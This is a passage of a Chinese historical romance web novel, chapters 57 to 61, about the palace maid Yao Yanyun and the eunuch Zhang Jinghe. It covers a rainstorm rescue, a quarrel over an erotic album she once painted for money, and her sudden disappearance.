啊芳被两人逗笑,又转头问姚砚云:“那你呢?要是以后有了孩子,喜欢儿子还是女儿?”,话刚说完,她就意识到自己失言了。 姚砚云见她这副手足无措的样子,反倒笑了,她也懒得解释太多,只轻轻摇了摇头,笑着岔开了话题。 啊芳走后,姚砚云本想继续补觉,可没躺多久,就觉小腹传来一阵熟悉的坠痛,原来是月事来了。她这副身子实在是寒,每次来月事都像要了半条命,没一会儿,就疼得在床上蜷缩着滚来滚去,额头上沁出了细密的冷汗 马冬梅见状,连忙跑去拿找了个汤婆子,灌满热水后用布巾裹好,递到姚砚云手里。姚砚云将汤婆子紧紧抱在肚子上,暖意慢慢渗进肌肤,那钻心的疼痛才总算缓解了些。 腹痛断断续续缠到了晚上,姚砚云连动一动的力气都没有,四肢酸得像灌了铅。晚饭她没心思吃,连跟马冬梅说话的力气都没有,就这么蜷在床上,眼皮重得抬不起来。 昏沉间,她的视线无意间扫过梳妆台,那里静静躺着一朵腊梅,嫩黄的花瓣已失了白日的鲜活,是张景和今日亲手为她插在鬓边的那朵。 思绪忽然被拉回上午时的梅园,她忽然想起张景和俯身时的模样,指尖避开她发丝的轻柔,呼吸落在耳畔的微凉,还有眼底藏着的、她从未见过的柔和。 想到这儿,心尖莫名沉了沉,像被什么东西轻轻拽了一下。 她发现自己越来越看不懂张景和了。他有时暴躁得像团火,有时又阴险得让人猜不透,可最近,却又总在不经意间流露出几分温情。 可这份温情,她不敢当真。 姚砚云心里比谁都清楚,张景和这般待她,从来不是因为在意,更谈不上什么朋友情谊,无非是她还有用,她帮他拿到了那份肥差,能替他在芸娘面前搭线,借着这层关系巩固与冯大祥的信任。 她是他的棋子,是他达成目的的助力,他才愿意耐着性子,摆出几分温和的模样。 不过反过来想,她又何尝不是将他当作棋子?借着他的身份,帮她赶走了纠缠不休的陈忠义,在张府得到了暂时的庇护,靠着他的人脉,她谋到了一间铺子,还结交了芸娘、冯大祥这样能帮衬自己的大人物。 这么算下来,她也不算亏。 他的每一次转变,她都得打起十二分精神去应对。在那份契约结束之前,她要做的就是在张府好好活下去,而活下去的前提就免不得讨好他。 他把自己当物件也好,当棋子也罢,她都认了。 她要好好活着,撑到自由的那天,她才能真正开始属于自己的新生活。 这晚张景和依旧在宫里留宿。洗漱过后,他褪去外袍准备歇下,目光无意间扫过窗边那架小巧的博物架,角落里静静躺着枚小猫玉佩,他想起当初收到这东西时,只觉得是些不值钱的小玩意儿,随手就丢在了这里,再没管过。 他鬼使神差地走过去,指尖捏起那枚玉佩,指腹轻轻地,反复地,摩挲着。 忽然,那天姚砚云送来玉佩时的模样,连同她眼底藏不住的、细碎的小心思,清晰地浮现在脑海里,挥之不去。 他的目光不自觉往下移,落在一桌子底下。那里放着一双纳好的布鞋,当初同样是被他随手丢在角落,如今鞋面上已蒙了层薄薄的灰尘,连原本素净的布色,都显得黯淡了几分。 第58章 挨到第三日,姚砚云的腹痛总算见了好转。这三日里,她除却起身用饭,几乎整日赖在床上,浑身酸软不适,连抬手都觉乏力。 昨日方淑宁已遣丫鬟来传话,说今日要带她与方淑惠出门逛逛,聚宝市新开了家首饰铺,款式别致新颖,方淑宁想着去挑几件称心的。 见面时,方淑宁说她爹总算松了口,只要她愿意嫁人,成婚前这段日子便全由着她安排,只要不闹出乱子就好,三人一进首饰铺,便被琳琅满目的簪钗镯环吸引。挑拣半晌,才笑着从铺子里退出来。 姚砚云每次出门,身后总少不了人跟着,三喜是定要在的,余下的要么是马冬梅,要么是小元,有时三人还会一同跟来,方淑宁就更不必说,每次出门都带着三四个小厮、两个丫鬟,阵仗十足。本想再逛会儿,方淑惠却说饿了想吃面。 姚砚云和方淑宁出门前都用过午饭,此刻实在没什么胃口,便陪着方淑惠寻了家临街的面馆坐下。 正聊着天,邻桌忽然走过来一个衣着光鲜的姑娘,笑着和方淑宁、方淑惠说话。姚砚云听她们寒暄才知道,这姑娘是方淑宁的好友林苑。 “你们俩姐妹最近都在忙什么?”,林苑拉过方淑宁的手,语气热络,“改日可得来我家一趟,我前些日子得了件好宝贝!” 方淑宁好奇地问:“哦?是什么宝贝,还值得你这么神神秘秘的?” 林苑脸上立刻漾开又神秘又得意的笑,压低声音道:“唐寅的真迹!一幅字一幅画。我可是花了大价钱,才好不容易弄到手的!” 方淑宁和方淑惠对字画本就没什么兴趣,闻言只是淡淡应了两声,没太大反应。倒是姚砚云,眼睛瞬间亮了起来,手都不自觉摆了起来,这可是唐寅的真迹啊,心里别提多想看了。 林苑恰好瞥见了姚砚云的反应,只是她此刻显然有急事,没多聊便要走,临走前特意朝姚砚云笑了笑:“姚姑娘,改天有空了,让淑宁带你到我府里来,我给你好好瞧瞧。” 出了面馆,几人上了轿子。待马车慢悠悠走稳后,方淑惠忽然身子一倾,凑近姚砚云和方淑宁,还特意抬手挡在嘴边,压低声音把两人叫到跟前,眼底闪着紧张的光:“我跟你们说个事儿,鸣玉楼隔壁,新开了家叫‘青筠馆’的地方。” 姚砚云没听过这名字,随口问道:“是吃饭的馆子吗?听着倒像个雅致去处。” 方淑惠连忙摆着手,头摇得像拨浪鼓:“不是不是,跟吃饭没关系!” 姚砚云又猜:“那是卖酒或是听曲儿的?” 方淑惠的头埋得更低了,声音压得几乎要被车轮声盖过,只够两人听清:“我听别人说……这青筠馆里全是男子,专门伺候那些达官贵人的。不光会吹拉弹唱,听说啊,全京师模样最好看的男子,都聚在那儿了。” 这话一出,姚砚云和方淑宁瞬间来了兴致,两人几乎是不约而同地往前凑了凑,异口同声问:“有多好看?” 方淑惠被两人追问得脸颊泛红,连忙往后缩了缩,摆手道:“这我哪知道呀!是我表哥昨日来府里做客,他和我说的,就是觉得新鲜才跟你们说,你们可别瞎猜,更别往外传啊!” 后面又去铺子里挑了些胭脂水粉,大家就各自回府了。 姚砚云没直接回张府,先绕去了冯府,陪芸娘说了会儿家常话,待天色渐暗才动身离开。 回到自己院里,她先躺到床上翻了会儿话本,看着看着就倦得小睡了一会。再次醒来时,脑子里忽然想起林苑提过的唐寅的真迹,心里又痒起来。 总得找个机会去瞧瞧才甘心。念头落定,她索性起身坐到书桌前,想把那日梅园漫山怒放的腊梅画下来,留个念想。 可刚拿起画笔,她就发现调色碟里的藤黄空了。翻遍了抽屉和颜料盒,也没找到备用的,心里难免有些扫兴。好在今日心情好,她索性决定亲自去颜料铺跑一趟,顺便看看有没有新到的好颜色。 麻利地穿好衣裳鞋袜,姚砚云便和三喜出了门。此时天色已暗了大半,街边的灯笼次第亮起,两人赶到铺子时,铺子已快到打烊时辰。姚砚云和伙计们说可以提前回家去,又让三喜去买份糖炒栗子,她也正好趁这功夫在铺子里看看,看看有没有要添置的东西。 谁知伙计们刚走没多久,窗外忽然一道闪电划破夜空,紧接着雷声滚滚而来,豆大的雨点瞬间砸落,转眼就成了倾盆大雨,把铺子门口的青石板都浇得泛了亮。 “这是什么鬼天气!”,张景和回张府的路才走了一半,忽然就下起了暴雨。此时他坐在马车里,眉头拧得紧紧的,正耐着性子等富贵去取油伞。 雨势来得又急又猛,不过片刻就成了倾盆之势。等张景和踩着泥水从府门口走到抄手游廊,靴底已灌满了冰凉的雨水。 他正烦躁地抹了把脸上的水珠,忽然瞥见不远处的回廊下,一个小丫鬟正拉着马冬梅说话。 “冬梅姐姐,你晚些再去吧!”,小丫鬟拽着马冬梅的衣袖,急声道,“你看这雨下得跟瓢泼似的,没走几步就得浑身湿透。就算你赶过去了,按这雨势,一时半会儿也回不来。” 马冬梅道:“我找不到三喜,也不知道他有没有跟着姚姑娘,她说要去铺子里拿东西,这会儿铺子早该打烊了,万一她一个人困在那儿,大晚上的,又是打雷又是下雨,我怕她害怕啊。” 话音刚落,马冬梅就打开了油伞,接着又是一道惨白的闪电划破夜空,紧接着一声炸雷在头顶响起。狂风骤起,竟直接卷走了马冬梅手里刚开的油伞,“啪”地甩在远处的青砖地上。这风实在太烈,吹得人睁不开眼,此刻就算想硬闯出去也难。马冬梅只能咬着唇,焦躁地在廊下踱步,盼着风势能快点小下来。 张景和面上瞧着波澜不惊,像没事人似的从两人面前走过,脚步没半分停顿,径直往自己的院子去。 他只想赶紧换掉这双湿哒哒的靴子。 可刚走到院子,还没到正厅门口,脚步忽然一顿,他没再多想,猛地调转方向,大步流星地往大门外走去。 伙计们走时天还微亮,谁也没料到天说变就变,只当姚砚云片刻便会返程,故而只在柜台后留了一盏昏黄的小油灯,豆大的光团勉强驱散些许黑暗。 哪曾想好好的天气,竟骤然下起了暴雨。姚砚云想找火折子再点几盏灯,可翻遍了铺子里的箱笼柜屉,连火折子的影子都没瞧见。外头雷声越炸越响,震得窗棂微微发颤。她孤身一人,看着四下昏沉的暗影,急得眼圈都红了。 她往门口瞥去,隔壁与对面的商户早已黑漆漆一片,想来都已锁门归家。这么大的铺子空荡荡的,外头又是伸手不见五指的漆黑,忽然一只野猫从门前窜过,惊得她失声尖叫。 姚砚云缩在柜台角落,双手抱膝,满心只盼着三喜能早点回来。 恍惚间,她想起从前上小学时,最盼着的就是下雨,下雨便能穿上新雨衣、新水鞋,更重要的是,爸妈总会准时来接她下课。那种从课堂上就开始蔓延的期待,到最后望见校门口熟悉身影时的满心欢喜,至今想来仍格外清晰。 可如今,她孤身困在这异世,那些温暖的时光早已成了遥不可及的过往。一股浓烈的怅然与失落猛地袭来,堵得她胸口发闷,鼻尖发酸。想着想着,眼泪便无声地滑落。 就在这时,她听到屋外传来急促的脚步声,踩在积水的青石板上,溅起哗哗的水花。她心头一喜,以为是三喜回来了,眼泪都没来得及擦,就起身站了起来。 可站在门外的人,竟然是张景和。 他撑着一把墨绿色的油伞,伞沿还在往下淌水,目光正落在她身上,沉沉的。他的头发被雨水彻底打湿,一缕缕黏在额角和脸颊,深色的发梢还在往下滴着水,那身红色的官袍更是湿透了,紧紧贴在身上,衣摆、袖口都在一滴滴往地上淌水,衬得他整个人狼狈又显眼。 他是来接她回家的吗? 姚砚云愣在原地,一时间忘了反应,眼泪还挂在睫毛上,脸颊湿漉漉的,眼神里满是错愕。倒是张景和先开了口:“过来,愣在那儿干嘛?”他顿了顿,目光扫过她x泛红的眼眶,补充道,“这雨一时半会儿停不了,回家吧。” 姚砚云巴不得立刻逃离这漆黑的铺子,连忙点头:“那我给三喜留个纸条。 两人共撑一把油纸伞,并肩往张府走去。雨势虽未减弱,伞下却自成一方静谧天地,姚砚云望着脚边溅起的水花,轻声问道:“公公,您怎么会在这里?” 张景和道:“刚从宫里出来,本想着来取些宣纸回去用。” 之后两人便没再说话,只听见雨声哗哗落在伞面的声音,伞面不算宽大,两人走得极近,姚砚云微微低头,便能看见两人的衣摆紧贴着,随着脚步轻挪,时不时相互交缠又分开,濡湿的布料蹭着布料,泛起细微的触感。 “刚才哭了?”,张景和忽然开口,打破了沉默。 姚砚云说没有。 张景和道:“往后夜里若需什么物件,让三喜跑腿便是,没必要你亲自往铺子里跑。” 姚砚云轻轻“嗯”了一声,鼻尖还残留着哭后的酸意,忍不住抽了抽鼻子。 张景和闻言,微微歪头看了她一眼。昏暗中看不清她的神情,只瞧见她紧抿的唇角,张景和的嘴角不自觉地弯了弯,漾开一抹极淡的笑意。 姚砚云心里揣着个疑问,犹豫了片刻还是问了出来:“您不是刚从宫里出来吗?怎么知道我是来铺子里拿东西的?” 张景和道:“你素来不管铺子的琐事,这会儿特意过来,除了拿东西,还能有别的缘故?” 之后又是一路无话,待回到张府,张景和将姚砚云送到了踏月轩。又吩咐马冬梅:“备热水给她沐浴,再给她煮姜汤。” 交代完这些,他便转身离去,没再多说一个字。 第59章 鸣玉楼 晋商周老板给张景和敬完酒,双手捧着个锦盒递上前,语气恭敬又带着几分神秘:“张公公,周某和你保证,里面绝不会是金银财宝,但却是比金银财宝更迷人。” 张景和挑了挑眉,漫不经心地“哦”了一声:“那是什么?” 周老板笑得眼角堆起褶子,只不肯明说:“你回府后自会知晓。” 吉祥见状,连忙上前接过锦盒,妥帖收好。 回了张府,张景和洗漱完毕,本已准备安歇,路过厅堂时瞥见那锦盒,忽然起了兴致,随手拎着回了寝室。他坐在书桌前,慢条斯理地拆开缠绳,揭开盒盖,里面竟是一本装帧精致的画册。 “不过一本画册,倒弄得神神秘秘。”,他嗤笑一声,原以为是什么奇珍异宝,当下便翻了起来。可刚掀开第一页,他的神色骤然一凝,那竟是本避火图,画中男主人公身着红色织金蟒袍,很明显是个太监! 他匆匆翻了几页,只觉得脸颊发烫,心头又羞又恼,暗骂一声:“无聊至极!” 正要合上册子,目光却被页间的字迹勾住。这画册每隔三页,便题着几句诗句。 只是这诗句写得实在没有什么水平,他随意看了其中两句:“风清月冷缠貂珰,唇痕印梦总难忘。” “低俗!” 可这字迹……越看越熟悉,仿佛在哪里见过千百遍。 他重新拿起画册,逐字逐句细细端详,心头猛地一跳,终于记起了出处。 急急忙忙披衣起身,大步往踏月轩走去,步伐之沉重,似乎想把青石板给踏碎。 他象征性地敲了敲门,里头传来姚砚云的应声,便径直推门而入。 灯下,姚砚云正低头绣着荷包。 “公公您怎么来了。”,姚砚云连忙停下手中活计。 张景和沉着脸:“姚砚云!我还是小看你了,你到底还有多少惊喜等着我!” 姚砚云被他说得莫名其妙,一脸茫然:“公公这话,小云实在不解。” 张景和将画册“啪”地拍在桌上,声响震得烛火都晃了晃:“你自己看这画,好看吗?光彩吗?” 姚砚云低头望去,见画册装帧华美,便好奇地翻开。可第一页入目,她顿时浑身一僵,这画怎么会在他手里? 当初刘公公和她说,宫外有位富商想求宫里的一位大垱办事,那大垱虽是没了那玩意,却偏爱收藏各类避火图,便想定制一本投其所好,她当时本来不想接的,一来这等画作太过私密,二来她从未见过,实在难画。可奈何对方实在给的太多了,足够她日后出宫安身立命,终究还是抵不住诱惑应了下来。 难道喜欢收藏各类避火图的是张景和?可不对啊,这事都过去那么久了,她依稀记得当时刘公公和她说,这个比较急,要快。若是特意送给他的,怎么会拖到如今才露面? 姚砚云强作镇定,轻轻合上了画册,脸颊微红:“公公,您这些都是什么啊,我一个姑娘人家,我看不得这些” “看不得?”,张景和步步紧逼,“姚砚云,我再给你一次机会,这画是不是你画的?若是不认,我便让人把你平日的字画取来,一一比对如何?” 姚砚云知道躲不过去,垂眸低声道:“是我画的……” “你、你、你!”,张景和捂着胸口,气得声音都发颤,看着她半天说不出完整的话,“你好端端的,画这等污秽之物做什么!” 姚砚云道:“我……我只是闲来无事,画来玩的……” “闲来无事?”,张景和语气里满是不信,“你倒是懂得不少,竟还有这般闲情逸致。” 她真的把自己当傻子了!她一个久居深宫的女子,怎会平白无故画这些?难道是 宫里太监欺凌宫女的事屡见不鲜,莫非是有人强迫她的? 他问:“是不是别人叫你画的?” 姚砚云闻言,下意识地“嗯”了一声。 当初的确是受了刘公公所托,拿了人家的银子才画的。 这一声“嗯”,却让张景和心头猛地一沉,只觉得头皮发麻。画册里的画面极尽香艳,水中缠/。绵,月下私语,榻上温存……他不敢想象,当初那位逼迫她的太监,是用怎样的语气威逼利诱,而她当时又是何等无助惶恐。 他攥紧了拳头,咬牙问,“谁叫你画的” 姚砚云抬眼,瞥见他脸上阴鸷的神情,心头一紧,连忙解释:“公公,这事都过去许久了,是我还在宫里时画的,出宫后便再没碰过这些了。” “谁叫你画的!”,张景和的声音陡然拔高。 姚砚云心头咯噔一下,她看清了他眼底的怒火,他是个极度爱面子的人,定是觉得这画作辱了他的颜面。可她万万不能将刘公公供出来,当初若不是刘公公牵线,她根本凑不齐贿赂张景和的银两,那他和陈忠义的事就解决不了。 她深吸一口气,硬着头皮道:“公公,您追问这些,又有什么意义呢?不管是谁叫我画的,那也是我心甘情愿应下的。您若是觉得我这番作为辱了您的颜面,便按规矩处置我便是,我绝无半句怨言。” 张景和简直不敢相信自己的耳朵,她竟是在为那人遮掩?还要替他担下所有?他冷笑出声,语气里满是讥讽:“呵呵,心甘情愿?这么说来,你倒是觉得画这些污秽不堪的东西,很是光荣?” 姚砚云道:“公公既然非要刨根问底,那我便实话说了,当初我一心想求您取消和陈忠义的配婚,可我一个小宫女,身无长物,哪里来的银两孝敬您?我只能靠画这些旁人不屑为之的东西换钱!不然您以为,送给您的那块玉佩是怎么来的?” 她抬眼望着张景和:“自然,那等俗物在您眼里或许不值一提,可那是我熬了无数个日夜,一天只敢睡一个时辰,一笔一画挣来的,我用这些血汗钱给您送礼,只求您能发发善心,成全我的心愿。” “所以,您别再问是谁让我画的了。我既答应了人家守口如瓶,就断没有食言的道理。您若是气不过,要打要杀,悉听尊便。” 张景和愣住了,脸上的怒火僵了一瞬,语气带着几分难以置信的愕然:“你这话是什么意思?” 姚砚云垂下眼睫:“张府之中,您是天,您说了算。您想如何处置我,便如何处置我,我绝无二话。” “你!”张景和被她堵得哑口无言,胸口的怒火与骤然涌上的复杂情绪交织在一起,烧得他头晕目眩。 他猛地转身,一脚踹在门板上,“砰”的一声巨响,木门被踹得敞开,甩袖而去。 张景和走后,姚砚云才朝着内间唤了一声:“小元,出来吧。 当时小元正在和姚砚云一起绣荷包,听到门外张景和的声音,便让她先去寝室那边先避着。 小元凑到姚x砚云身边,小声嘀咕:“姚姑娘,老爷好像很生气,那踹门的声响,吓得我心都跟着跳。” 姚砚云道:“我还气呢!仿佛这世上就他的面子金贵!这面子到底能当饭吃,还是能当衣穿?” 小元眼珠子转了转,凑近了些,压低声音道:“可是……我怎么觉得,老爷好像是在担心你呢。” 姚砚云‘啊’了一声,还以为自己听错了:“你肯定听错了,他那种人,怎么可能担心我。” “我没听错。”,小元又悄悄往门口望了望,才敢接着说,“方才你们说话的声音越来越大,我实在放心不下,就偷偷跑到门边听了几句。老爷一开始就问你,是不是别人让你画的,后来你应了一声,我瞧着他的神情一下子就变了,那模样,不像是生气,倒像是……倒像是很担心你的样子。” 姚砚云撇了撇嘴:“这也叫担心?担心我就跑来冲我大呼小叫地吵一架?那这种担心,我宁愿不要!” 夜深人静,姚砚云躺在床上,想起张景和今晚怒气冲冲来质问她的模样,又清晰地浮现在眼前。小元说的那种“担心的神情”,其实她当时也察觉到了,正是看准了他眼底那一闪而过的松动与关切,她才敢豁出去说那些“要打要杀,悉听尊便”的硬话。 可他怎么就这么是块榆木脑袋呢?有话不能好好问,关心人就不能好好关心?非要摆出那副凶神恶煞的模样,仿佛谁欠了他千八百两银子似的。 说到底,他就是这般自私霸道的性子,凡事只顺着自己的心意来,从不管旁人的感受。 但凡她是个有骨气的人,少不得要晾着他些时日,磨磨他的臭脾气,可她不是没骨气嘛! 翌日一早,她依旧是那副笑盈盈的模样,寻去了张景和的书房。暂时的隐忍与往后一辈子的自由,孰轻孰重,她心里分得明明白白。 “呦!姚画师来了。”,张景和抬眼瞄了她一下,语气里带着几分刻意的冷淡,随即又低下头去,目光落在手中的书卷上。 姚砚云自顾自搬了张凳子,在他身旁坐下,语气轻快得像没事人一般:“公公,昨晚那本画册,您处置了?” 张景和翻书的动作顿了顿,淡淡道:“扔了。怎么,你还想寻回来回味回味?” “那倒不是。”,姚砚云摆了摆手,笑意不减,“那等污秽东西,污了公公的眼本就是我的不是,您扔了最好。” 她话锋一转,又追问了句:“不过公公,那画册……是全看完了?” 张景和被问得浑身一僵,耳尖竟悄悄泛起丝热意,语气也硬了几分:“不过看了前面几页罢了!谁耐烦看那些不入流的玩意。” 姚砚云心里悄悄松了口气,没看完就好,那画册里后头的内容,连她自己都觉得臊得慌。 “那您不生气了?” 张景和看了她一眼,语气看似不耐,实则早已没了昨日的火气:“若是这点小事都要气上几天,那我早被你气死八百回了。” 话音刚落,张景和忽然放下书卷,转过身来,双手轻轻扶在她的肩头,神色少见地认真,语气也沉了些:“往后,不许再画这些东西了。你若是缺什么、要什么,只管跟我说,但凡我能给的,定不会亏了你。” 姚砚云望着他眼底真切的郑重,心头莫名一动,轻轻“嗯”了一声。 她抬眼望他,忍不住又追问了句:“那公公,您昨晚那般动怒,到底是为了什么呀?” 张景和被问得一噎,脸上闪过丝不自然:“哪有那么多为什么。” “就跟吃饭睡觉似的,兴起了,想生气便生气了。” 姚砚云却不依不饶,嘴角噙着点浅浅的笑意:“可我想知道呀。” 张景和道:“我想知道的事情也多了去了,我找谁问去。”—— 作者有话说:风清月冷缠貂珰,唇痕印梦总难忘,是我编的,的确没什么水平哈哈,大家将就看吧 第60章 今日飘了阵细碎的小雪,姚砚云与方舒宁在春风楼看完戏,门口道别后便分了路。她先去铺子里看了下,又去了冯府探望芸娘,两人聊了近半个时辰,约申时末才起身回府。 “哎呀!”,马冬梅忽然停下脚步,“我的汤婆子落在铺子里了,那布套是我绣了半个月的。” 铺子离得不远,姚砚云道:“我陪你回去取。”,又转头吩咐三喜,“你先回府吧,不用等我们,顺便和六婶嘱咐一声,我在冯府吃过了,不用给我备晚饭。” 夜色渐浓,张景和躺在榻上辗转难眠,昨晚发现那本画册真相时的愤怒与揪心,此刻仍在胸腔里翻涌。他说不清那份激烈的情绪,究竟是为了画册上不堪入目的画面,还是为了那个人。 这几日,总有种说不清道不明的情愫在心底作祟,白日忙公务时尚能压制,一到深夜,便如潮水般将他裹挟。 这是一种很奇怪的感觉。 他第一次生出悔意,当初若不是为了那点可笑的面子,将姚砚云带回张府,如今便不会这般心绪不宁!她就是一个害人精! 可转念一想,反正这个人迟早都是要走的,忍过这些时日便也罢了,毕竟这都是自己当初造下的孽。 可想着想着,心里又不平衡起来,凭什么她把一切搅得一团糟,便能拍拍屁股一走了之? 忽然他眼底掠过一丝执拗,心底陡然冒出一个念头,自己若是偏不让她走,她又能如何? 次日一早,天刚蒙蒙亮,六婶提着食盒往踏月轩去。敲了半天门没人应,她想着姚姑娘许是一早出去了,便将食盒放在桌上,轻手轻脚退了出去。 末时三刻,张景和回了府。 富贵正蹲在院子里磕瓜子,见自家老爷提前回来,赶紧起身迎上去,拍了拍衣上的碎屑:“老爷,你不是说明日才回吗?要不要给你准备午饭?” 张景和点了点头。 用完了午饭,他又吩咐富贵把姚砚云叫来。 富贵应声去了踏月轩,敲了敲门没反应,见门缝虚掩着,便推门进去。桌上摆着三菜一汤,却一口未动,屋里空荡荡的,连个人影都没有。他退出来,四处找马冬梅也没见着,好在在小厨房碰到了六婶。 “六婶,你见到姚姑娘了吗?” 六婶擦着手道:“姚姑娘不在屋里?我早上送早饭时她就不在,估摸着出去了,这会子该回来了吧?” “屋里没人,就一桌没动的饭菜。”,富贵道。 六婶道:“午饭也是我端过去的,没吃就说明人还没回。” 富贵折返回来,如实禀报:“老爷,姚姑娘今天出去了。” 张景和问:“什么时候出去的。” 富贵如实说来:“六婶说,姚姑娘没吃早饭,那想必是早上就出门了。” 张景和又交代了句:“等她回来了,让他来我屋子一趟。” 他靠在藤椅上闭眼休息了两刻钟,今日心情尚可,便起身往鲤鱼池那边走去。 刚走到池边,就瞥见了三喜,脸色瞬间沉了下来:“你在这里做什么?我不是吩咐过,姚砚云出门你必须跟着?” 三喜吓了一跳,他心想,姚姑娘每次出门都会叫上他一块的,这会儿估计在屋子里面休息呢,连忙躬身道:“老爷,姚姑娘没出去啊,这会儿估计在屋子里歇息呢。” “你确定?”,张景和心中起疑,难道是她故意不想见自己,让富贵编了谎话? 这时富贵取了件大氅过来,张景和接过披上,目光锐利地扫向他:“姚砚云分明在府里,你为何说她出去了?是她让你这么说的?” 富贵吓得腿一软:“老爷,小的不敢!你回来让我找姚姑娘时,她确实不在踏月轩,我问了六婶,才知道她早饭都没吃就出去了。” 张景和转头看向三喜,眼神凌厉如刀:“所以她到底在不在府里?” 三喜被被吓得一哆嗦,连忙道:“老爷,我这就去找人。” 他一路小跑,心里直打鼓,难道姚姑娘偷偷溜出去了?昨日在冯府,他是先一步回府的,从昨晚到现在,他确实没见过姚姑娘和马冬梅。跑到踏月轩,他使劲敲了半天门,屋里依旧毫无动静。他不敢擅自进屋,又急忙找来六婶和小元帮忙查看,三人把屋子翻了个遍,连床底、柜子都瞧了,始终没见着人。 “小元,你今天见过姚姑娘吗?”,三喜急得满头大汗。 小元摇摇头:“我只有姚x姑娘叫我做事才会来这院子,平时都是冬梅姐姐在这儿伺候。” 三喜这才猛然惊觉:“马冬梅也不见了?你今天见过她吗?” 小元还是摇头。 六婶捂着嘴惊呼:“难不成姚姑娘昨晚就没回府?”,她转头问三喜,“我记得昨日你们是一起出去的呀。” 三喜的心沉了下去,才意识到自己闯了大祸。昨晚姚姑娘让他先回府,他竟真的没跟着,如今两人双双失踪,她到底去了哪里? 小元忽然又转头奔进姚砚云的寝室,片刻后快步回来:“姚姑娘有睡前点安神香的习惯。我方才去瞧了,那香炉里干干净净的,连半点灰烬都没有。” 能进入姚砚云寝室的,除了马冬梅就是小元和六婶,小元问六婶:“六婶,你今天收拾过香炉吗。” 六婶回没有。 小元一脸担忧:“那姚姑娘能去哪里啊,她会不会出什么事。” 话音刚落,“砰”的一声巨响,府门被人一脚踹开。三喜、六婶和小元抬眼望去,只见张景和满面怒容地立在门口,眼底的戾气几乎要溢出来。 “一府的人,连个女子都看不住,全是废物!”,他咬牙怒斥,声音里满是压抑的怒火。 在场三人被这气势吓得魂飞魄散,纷纷“噗通”跪倒在地,连大气都不敢喘。 张景和胸腔剧烈起伏,怒火中烧。从昨晚到现在,将近一天的时间,姚砚云竟然没回过府!她是去了芸娘那里?不可能!若是去了,她大可大大方方告知府里人,何必这般悄无声息。难道是去找方舒宁了?即便如此,也该知会一声,可她没有! 那她到底去了哪里?一个女子,夜不归宿,能有什么去处?难不成是前几日自己说了她几句,她便负气离家出走?还是说她被人绑架了? 还是……蓝砚舟又来招惹她了,她对他余情未了,便跟他私会去了? 想到这些可能,张景和又是担心又气得浑身发抖,额角青筋突突直跳。 他吩咐富贵:“你现在立刻去冯府和方府找人。” 又把目光落在跪在地上,瑟瑟发抖的三喜身上,沉声道:“你仔细说,昨日姚砚云的行踪,半字不许隐瞒!” 三喜战战兢兢地将昨日情形复述一遍,张景和听完,冷笑一声:“你是说,她昨日见了方舒宁,之后便借口去铺子里拿东西,甩开了你,自那以后,你就再没见过她,是吧?” “不是的老爷!”,三喜急忙辩解,“昨日姚姑娘的确是去铺子里取东西,瞧着并不像是故意甩开小人的……” “好啊,”,张景和打断他,眼神凌厉如刀,“那你倒说说,她人呢?” 一句话,堵得三喜哑口无言,只能埋下头,再也不敢出声。 张景和又扬声唤来吉祥:“马上去给陆政州递个话,让他拨十个最机灵的锦衣卫出来寻人,只要能找回人,我张某欠他一个大人情,日后任凭差遣。” 说罢,他俯身凑近吉祥耳边,声音压得极低,冷得刺骨:“你去查查蓝砚舟的行踪,他如今在哪儿,昨夜又宿在哪个地方。” 吉祥心头一凛,连忙躬身应下,转身快步离去。 后面富贵便气喘吁吁地跑了回来,脸色发白,声音哆嗦着:“老爷,姚姑娘……姚姑娘不在冯府,也,也不在方府……” 张景和的心猛地一沉,如坠万丈冰渊。难不成……难不成真的被人绑走了。 还是和别人走了 后面的事,他竟有些记不清了。只觉脚步虚浮,失神落魄地离开了踏月轩,回到了望雪坞,在大厅的梨花木椅上颓然坐下,目光空洞地望着门外漫天飞絮。 “叩叩叩——”轻微的敲门声打破了死寂。 张景和猛地回神,语气带着难掩的烦躁:“谁叫你进来的?” 门被轻轻推开,兰花端着一盏热茶,怯生生地走进来,手里还捏着一小块焦黑的碎纸:“老爷,奴婢见你找姚姑娘找得急切,方才忽然想起,半个月前在厨房墙角撞见马冬梅偷偷烧东西,这纸片便是当时从火堆里捡出来的,不知道能不能派上用场。” 张景和眼神一凛,伸手夺过碎纸。纸片边缘早已被烧焦,质地脆薄,上面仅存的字迹却清晰可辨,“三日后不见不散”。 他指尖微微发颤,脸色瞬间沉得能滴出水来,阴鸷的目光扫向兰花:“这东西,你当真确定是马冬梅烧的?她当时还有什么异常?” 兰花被他这副模样吓得一哆嗦,连忙躬身回话:“千真万确!那日奴婢路过,见她鬼鬼祟祟蹲在那里烧纸,还特意用石头把火堆压灭,奴婢好奇,等她走后便去看了看,只捡到这一小块。只是……姚姑娘是昨晚才不见的,这纸片已是半月前的东西,想来该是和姚姑娘的事没关系的,老爷你别多想。” 张景和死死攥着那片碎纸,薄唇抿成一条冰冷的直线。半晌,他才异常平静地吐出两个字:“出去。” 兰花不敢多言,躬身退了出去,轻轻带上了房门。 门刚关上,张景和猛地站起身,眼底翻涌着惊涛骇浪。 马冬梅……三日后……姚砚云的失踪,绝不会是巧合! “备车!立刻备车!” 他要亲自去找陆政州。 陆政州身为锦衣卫指挥使,手握生杀大权,掌管着整个锦衣卫的侦缉之力。这世上,只要是锦衣卫想找的人,就算是跑到天涯海角,也断无藏身之地! 陆政州给张景和倒了一杯热茶:“张公公,真是稀客。你家吉祥方才不是才来,这才过去多久,你怎么又来了?” 张景和哪有心思品茶,皱眉沉声道:“少废话,按我说的做便是。” 陆政州端着茶杯的手一顿,眼底闪过一丝玩味,慢悠悠道:“张公公吩咐,本官自然照办。只是不知,你是要活的,还是死的?” “啪!”张景和猛地将茶杯往桌上一放,茶水溅出,他盯着陆政州:“我不单只要活的,还要毫发无伤,你懂我意思了吗?”《 》 60-70 第61章 姚砚云吩咐三喜先回府后,便与马冬梅一同往铺子去。刚一掀帘进门,就见林苑正低着头,神色专注地挑选着砚台。 林苑抬头瞥见姚砚云,眼底掠过一丝意外,两人寒暄了几句。临到告别时,林苑忽然提议:“姚姑娘,我今日正好得空,不如带你去府中瞧瞧唐寅的真迹?” 姚砚云心里一喜:“如果不打扰你的话,那我还真想去看看!” “淑宁的朋友,便是我的朋友,何来打扰之说。”,林苑随即引着姚砚云和马冬梅上了自家马车。车厢内暖炉燃着淡淡的熏香,两人有一搭没一搭地聊着,不知不觉间马车便稳稳停在了林府门前。 进府后,林苑领着姚砚云往书房去,把唐寅的真迹拿了出来。 